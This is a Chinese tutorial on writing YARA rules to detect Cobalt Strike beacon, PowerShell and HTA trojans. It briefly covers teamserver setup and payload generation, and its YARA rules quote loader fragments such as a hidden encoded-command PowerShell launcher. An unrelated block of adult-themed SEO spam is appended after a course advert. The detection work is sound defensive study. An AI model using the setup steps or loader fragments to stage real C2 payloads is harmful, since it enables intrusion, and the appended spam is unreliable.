          在上面,我們已經測試了十六進制字符串的匹配。匹配的方式是掃描文件是否包含了4D 5A。這里都不能算是一條規則,因為這條規則沒有意義。其實十六進制還包含了很多高級的寫法,包括通配符、可變長度等。這里空講無用,之后遇到比較好的樣本再做分享。

          我們來測試一下字符串的寫法,我們新建一個demo2.yara,內容如下:

          這條yara的規則很簡單,就是掃描的文件中是否包含了if name == ‘main‘:這個字符串,如果有,則將其標記為python_file

          然后還是對111目錄進行掃描:

          可以看到成功掃描到python文件。這里需要注意,我們在yara中直接寫字符串的話,是區分大小寫的,如果想要掃描時不區分大小寫,可以加入nocase關鍵字,比如:

          接下來我們看看yara中的正則是如何寫的。Yara的正則其實和字符串寫法很類似,并且可以用在字符串上的特性都可以用在正則表達式中。

          以匹配身份證號為例,我就直接以一個非常簡單粗暴的方式來匹配身份證,就是直接查看文件中是否包含了18位連續的數字(我這種匹配當然不標準,只是為了方便測試)。此外,我還加上了一個$peflag的標志條件,在condition的地方通過 and not 的方式過濾掉所有的PE文件。demo3.yara如下:

          掃描結果如下:

          這里出現了一個warning:demo3.yara(11): warning: $reg1 is slowing down scanning (critical!)

          提示demo3.yara規則中的$reg1這個匹配條件寫的不好,會引起yara的性能下降。這是因為我們直接使用正則表達式瞎匹配,這樣肯定是不對的,因為如果掃描一個1M或是2M的腳本文件,這個yara規則一跑,基本上就會卡死。所以在書寫yara規則的時候,在可達成目的的情況下,也要考慮掃描的性能。關于yara的優化,我們在后面的實戰樣本中會提到。

          0x02 CobaltStrike安裝和使用

          CobaltStrike安裝

          CobaltStrike的安裝非常簡單,只需要在本機裝好JAVA環境,然后分別運行CobaltStrike的客戶端和服務器端即可。以3.14為例,3.14版本的CobaltStrike解壓后文件結構如下:

          其中的teamserver就是CobaltStrike的服務器端,CobaltStrike文件就是客戶端。

          只需要./teamserver 服務器ip地址 cs密碼即可成功啟動CobaltStrike的服務器。然后在客戶端使用./cobaltstrike 然后填寫服務器的ip地址和密碼即可(端口一般不變)成功登錄。

          4.0的結構稍微有所不同

          在4.0中不再有CobaltStrike客戶端文件,取而代之的是CobaltStrike.bat文件所以我們首先啟動CobaltStrike服務器,這里的ip地址就是本機的ip地址,后面的123456是登錄密碼

          服務器成功啟動之后,我們啟動客戶端:

          成功登錄上cs客戶端:

          大概介紹一下CobaltStrike各個菜單的的功能:

          CobaltStrike的監聽器主要分為beacon和foreign,其中bacon是CobaltStrike內置的,我們使用CobaltStrike生成的payload反彈shell回來直接就可以用foreign是外置的,比如想通過CobaltStrike反彈到msf,就可以使用foreign

          CobaltStrike生成碼

          我們可以通過上面介紹的圖標快捷菜單生成木馬,也可以通過Attacks菜單欄生成我們想要的木馬。

          我這里分別生成了beacon、foreign、HTML、powershell、VBS、office宏等cs馬。接下里先分析分析這些木馬嘗試提取CobaltStrike特征,生成碼如下(3.14):

          0x03 CobaltStrike樣本查殺

          Win32_PE

          我們首先來看看32位的PE文件,包括exe和dll。為了防止樣本在Windows操作系統下被誤執行,我這里給所有的樣本都加上了.bin后綴,然后統計這些文件的時候可以發現,通常情況下CobaltStrike默認生成的beacon的PE馬大小都在278kb到303kb的樣子。紅框部分的foreign馬的大小卻只有十多kb。

          所以我們可以嘗試編寫第一個filter來過濾掉其他的樣本。

          為什么要編寫filter呢,因為比如我們掃描Windows的系統目錄或是一個程序目錄,該目錄下有上千,上萬甚至上十萬的文件,如果我們不寫filter,那么Yara在掃描的時候將會每個文件都完整的去匹配我們寫的規則,在上面的時候我們提到,yara規則是會全文掃描的,那么這樣將會大大降低掃描效率,如果我們能夠寫一些filter過濾掉大部分的不相關樣本,那么yara在掃描的時候將會只對疑似的文件進行有效的掃描而不會浪費資源。

          Yara提供了文件大小的變量,標準寫法為

          rule FileSizeExample{condition:filesize > 200KB}

          第一個條件寫好之后,可以看到基本上就篩選了剛才我們看到的PE我文件,但是多了一個beacon3.ps1,沒關系,我們在后面的規則中過濾掉。

          現在我們隨便加載兩個exe到IDA中分析。

          IDA加載之后,一對比發現兩個碼的入口點是幾乎完全一樣的,唯一細微的區別就是這里mov語句的參數2不同。

          空格轉換為匯編代碼顯示,可以看到樣本此時默認是main函數。這里目前至少是說明CobaltStrike的兩個beacon碼的main函數入口點結構相同。

          Ctrl + E ,然后跳轉到start函數,看看兩個樣本的入口點是否相同:

          來到start函數之后,我們可以發現兩個CobaltStrike樣本的入口點是完全一致的,程序入口點都是004014B0

          減去基地址00400000,那么入口點應該就是偏移14B0的位置。

          我們再加載一個beacon的樣本,看看入口點是否還是一致,這里發現三個樣本的入口點都是14b0的地方,所以我們推測CobaltStrike的樣本入口點都在14b0的地方,所以我們編寫第二個規則去驗證一下。

          在yara3.0以下的版本中,可以直接使用entry_point變量獲取入口點,在3.0以上的版本中,該變量已經被棄用。取而代之的是一個pe模塊。現在可以使用pe.entry_point來獲取入口點,但是需要注意的是,這里是獲取到的文件偏移,也就是offset,并不是我們在IDA中看到的entry_point,這里需要注意一下。程序的Offset是0x8b0:

          所以我們可以將條件寫成如下形式:

          官方文檔給的寫法是用關鍵字at:

          但是需要注意,使用at是取值,并不是匹配地址。也就是說上圖這種寫法是去找一下$a變量的值是否在entrypoint這個地址能找到。也就是在我們這條規則中,如果要用at,可以寫成如下:

          這里的$name中的十六進制值需要大寫,匹配的值就是IDA入口點的十六進制數據:

          但是我們同時也可以看到,at的寫法沒有那么有通用性,我們還是使用上面 == 的寫法。

          那么現在第二條規則就已經寫好了,我們繼續來看其他的內容。我們靜態分別看下這個樣本的main函數:

          在Main函數中可以看到,關鍵就調用了兩個call,分別是4027b0和401800

          我們大概看一下就可以知道sub_401800才是關鍵函數,在sub_401800函數中,程序會通過CreateThread創建一個新線程,并且可以看到有一個奇怪的%c%c%c%c%c%c%c%c%cMSSE-%d-server看起來像是通信協議。

          這里CreateThread的lpStartAddress是sub_4016D3,在sub_4016D3的sub_401608函數中可以看到正在通過CreateNamedPipeA的方式創建管道準備通信。

          我們調試器里直接過來可以看到跟我們想的應該一樣,這里的確是跟通信相關的內容。

          查看多個樣本,可以發現%c%c%c%c%c%c%c%c%cMSSE-%d-server 這個值是固定的。所以可以直接嘗試匹配這個串試試:

          可以看到再次成功匹配。到這里,我們關于CobaltStrike的Beacon木馬的yara規則基本上就提取完成了。最后,我們給規則加上一個PE的判斷條件:

          現在這個條件就比較完整了。

          1. 通過uint16(0) 的方式取文件的前兩個字節,判斷是否等于0x5A4D 如果等于則說明是PE,這里用于過濾PE文件
          2. 判斷程序的pe.entry_point是否等于0x8B0,這里是文件的file offset,這里也算是一個很好的過濾條件,可以直接過濾掉大部分的文件。
          3. 通過兩個filesize的比較限制文件的大小
          4. 最后用一個關鍵的字符串來做最終的驗證。

          這里是看到這個串的確是CobaltStrike使用來通信的,且一批CobaltStrike的碼都包含了這個串,相對來說,應該不會命中到其他的正常文件,這個通信協議應該是cs專用的,所以可以直接這樣寫,如果不想誤報,想要提高檢測的精準性,可以繼續找其他的特征提取。反正在寫yara規則的時候,通用性和精準性,是分析人員需要權衡的條件,如果我們想要提高特征的通用性,勢必就需要減少一些匹配條件,精準性就會下降,至于到底是通用性優先還是精準性優先就得看具體的應用場景。

          powershell馬特征

          處理了CobaltStrike的PE馬,我們再來看看其他類型的木馬規則如何提取。首先是powershell木馬,也就是ps1的文件。我這里只生成了兩個。

          分別查看一下文件內容。32位:

          64位:

          這里可以看到,32位和64位的powershell馬結構其實是一樣的,只是32位的馬使用了$DoIt= @’’的方式來定義兩個函數,其實和64位這里是一樣的。

          這里很明顯,程序最后關鍵執行的數據在24行開始的地方,這里定義了超級大的base64串。經過觀察可以發現32為和64執行的串的頭部是不一樣的:32位:

          64位:

          經過分析我們可以發現,代碼的最下面,上面定義的這個$var_code的執行語句,且兩個版本的ps碼都是這樣寫的,于是我們直接嘗試用字符串匹配這一段試試。

          就直接在原有yara的基礎上增加一個rule即可:

          然后命令行測試,可以看到兩個ps1腳本都被成功匹配

          html_pe馬特征

          CobaltStrike的html木馬分為了三種,分別是包含PE文件的hta 包含VBS的hta 包含powers的Hta,我們分別來看看。

          首先是包含PE的hta:該類別的cs馬會直接將一個PE文件的十六進制數據流硬編碼到文件中:

          在馬最下面,程序會定義一個var_tempexe文件用于接受上面的數據流,將該文件寫入到本地并且通過run執行之后刪除該文件。這里其實寫入的文件應該也是beacon的木馬,在14行代碼的位置,有著var_tempexe變量的賦值語句,經過與多個樣本的對比分析發現,后面的beacon_evil.exe不是固定的,而是攻擊者在使用CobaltStrike生成木馬的時候給定的文件名。所以我們可以考慮用正則來匹配這一段,作為條件之一。

          編寫yara特征之后進行掃描,成功捕獲對應的樣本

          完整的正則表達式如下:/var_tempexe = var_basedir & \”\” & \”[A-z]{1,20}.exe\”\s*Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)/

          我們來一點點拆解。首先,我們在yara中使用正則表達式要使用//標識,我們將正則寫到兩個斜杠之間。var_tempexe = var_basedir & 這段是我們直接從原始代碼中復制出來的。\”\” 用于轉義匹配中間的 “\”由于我們剛剛已經分析過,后面的beacon_evil.exe不是固定的,是由攻擊者指定,所以我這里寫了一個范圍,1-20,然后通過\s*將后面的語句給組合起來進行匹配。

          html_VBS特征

          接下來我們看看html的VBS碼,結構如下:

          經過分析,我們可以看出來,下面的一大段代碼,其實是帶輕微混淆的VBA代碼。混淆方法很簡單,就是通過&符號拼接由chr函數轉換的ascii“&Chr(61)

          我們盡量找一個比較通用的地方來提取特征,稍微分析一下,可以發現,上面部分都是一些函數的導入,變量的定義,沒有做神什么比較奇怪的操作,在57行的位置,定義了一個很大的數組,數組名為myAr&ray 后面的Chr(61)轉換之后是等于符號 = 。 后面的一大段數據都是用于給myArray賦值的。所以我們可以考慮將特征提取到這里。

          這里應該可以直接寫字符串進行匹配了:

          html_powershell

          最后,html類別的馬就只剩下powershell類型的了,還是先來看看代碼結構

          cs的powershell馬結構相對來說就很簡單了,就是通過powershell執行了超級長一段base64編碼的腳本命令。直接取這個base64串的頭部出來解碼看看是是不是常見的語句JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8Acg

          解碼之后發現是$s=New-Object IO.Memor結合代碼分析,這里是將后面的數據加載到內存中執行,這里是在做準備工作。

          結合前面的powershell -nop -w hidden -encodedcommand本身也不是常見的powershell語句,正經人誰會這樣干,所以我們直接嘗試提這里的字符串看能否通殺。貌似可以

          Macro

          現在還有一類Macro樣本,也就是Office宏代碼。這個其實也是簡單,但是這里我生成的時候偷了一個懶,沒有按照cs的文檔將宏代碼存儲到Office文檔中。關于Office文檔的查殺,在后面再結合oledump等工具繼續介紹。

          0x04 查殺效果

          我們回到上級目錄,看看同時查殺3.14和4.0的效果怎樣我們將結果寫入到1.txt中

          一共是查殺了24個樣本

          可以看到,一共27個文件,除了vba和這里的兩個raw沒寫規則外,全部查殺了。所以,對CobaltStrike木馬基本查殺的yara規則就這樣寫好了。后面我們學習了yara的高級寫法或是遇到其他cs的樣本可以再繼續完善,但是目前這個yara應該可以識別絕大多數的正常cs碼了。

          最后,CobaltStrike解壓之后,目錄中會有一個CobaltStrike.jar文件

          使用解壓縮工具將這個文件也解壓:

          這里面有一個名為resources的文件夾,就是CobaltStrike的配置信息,我們在CobaltStrike控制臺生成的木馬都來源于這個文件夾。

          所以我們也可以直接分析這里面的樣本,提取規則進行查殺。

          0x05 完整yara

          import "pe"
          rule beacon32
          {
              meta:
                  description = "This rule is used for discovery CobaltStrike’s beacon32PE Trojan"
                  author = "int3"
                  date = "2020-07-21"
                  reference = "reference"
                  hash = "hash"
              strings:
                  $name = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
              condition:
                  uint16(0) == 0x5A4D and pe.entry_point == 0x8b0 and filesize > 277KB and filesize < 304KB and $name
          }
          
          
          rule ps
          {
              meta:
                  description = "This rule is used for discovery CobaltStrike’s powershell Trojan"
                  author = "int3"
                  date = "2020-07-21"
                  reference = "reference"
                  hash = "hash"
              strings:
                  $str1 = "$var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)"
                  $str2 = "[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)"
              condition:
                 uint16(0) != 0x5A4D and $str1 and $str2
          }
          
          rule CobaltStrike_hta_pe
          {
              meta:
                  description = "This rule is used for discovery CobaltStrike’s hta'pe Trojan"
                  author = "int3"
                  date = "2020-07-21"
                  reference = "reference"
                  hash = "hash"
              strings:
                  $reg1 = /var_tempexe = var_basedir & \"\\\" & \"[A-z]{1,20}.exe\"\s*Set var_stream = var_obj.CreateTextFile\(var_tempexe, true , false\)/
              condition:
                 uint16(0) != 0x5A4D and  $reg1
          }
          
          rule hta_VBS
          {
              meta:
                  description = "This rule is used for discovery CobaltStrike’s hta'vbs Trojan"
                  author = "int"
                  date = "2020-07-21"
                  reference = "reference"
                  hash = "hash"
              strings:
                  $str = "myAr\"&\"ray \"&Chr(61)&\" Array\"&Chr(40)&Chr(45)&\"4\"&Chr(44)&Chr(45)&\"24\"&Chr(44)&Chr(45)&\"119\"&Chr(44)"
              condition:
                 uint16(0) != 0x5A4D and  $str
          }
          
          
          rule hta_ps1
          {
              meta:
                  description = "This rule is used for discovery CobaltStrike’s hta'vbs Trojan"
                  author = "int"
                  date = "2020-07-21"
                  reference = "reference"
                  hash = "hash"
              strings:
                  $str = "var_shell.run \"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8A"
              condition:
                 uint16(0) != 0x5A4D and  $str
          }
          

          0x06 總結

          本篇是YARA規則的入門篇,通過本節的內容我們可以發現,Yara在惡意樣本檢測中有著至關重要的作用(雖然本節中寫的YARA很簡單,但是Yara可以做的遠遠不止于此)。此外,我們還可以通過別人寫好的yara,輔助我們分析惡意軟件,閱讀大佬寫的Yara我們可以知道大佬在分析對應的樣本的時候,關注點在哪里,他提取到了目標木馬/家族的哪些特征等等。

          我是安仔,一名剛入職網絡安全圈的網安萌新,歡迎關注我,跟我一起成長; 歡迎大家私信回復【入群】,加入安界網大咖交流群,跟我一起交流討論。

          安界網周年慶,cisp考證報名送價值6000元電腦;nisp一級報名送100元現金劵;nisp二級報名送1000元現金劵。更多優惠聯系我們。

          小白入行網絡安全、混跡安全行業找大咖,以及更多成長干貨資料,歡迎關注#安界網人才培養計劃#、#網絡安全在我身邊#、@安界人才培養計劃。


          主站蜘蛛池模板: 亚洲AV乱码一区二区三区林ゆな| 亚洲av色香蕉一区二区三区| 一区二区三区无码视频免费福利| 爆乳无码AV一区二区三区 | 国产在线一区二区视频| 91精品国产一区二区三区左线 | 亚洲一区二区三区影院| 精品视频一区二区三区四区五区| 国产高清在线精品一区小说| 精品人伦一区二区三区潘金莲| 亚洲AV无码片一区二区三区| 福利在线一区二区| 亚洲国产系列一区二区三区| 日韩三级一区二区三区| 日韩视频一区二区三区| 亚洲日本乱码一区二区在线二产线 | 免费一区二区三区四区五区| 日韩人妻一区二区三区蜜桃视频| 国精品无码一区二区三区在线| 天天爽夜夜爽人人爽一区二区 | 四虎永久在线精品免费一区二区| 日韩精品国产一区| 国产无吗一区二区三区在线欢| 国产精品区一区二区三在线播放| 国产免费一区二区视频| 久久精品一区二区免费看| 亚洲av不卡一区二区三区| 午夜福利一区二区三区高清视频| 国产一区二区三区久久精品| 成人免费区一区二区三区| 国产精品毛片一区二区三区| 日本不卡一区二区视频a| 一区二区视频在线| 一色一伦一区二区三区| 国产乱人伦精品一区二区在线观看| 国产成人无码精品一区不卡| 精品一区二区三区在线播放| 乱中年女人伦av一区二区| 中文字幕在线无码一区二区三区| 一区二区三区电影在线观看| 制服丝袜一区二区三区|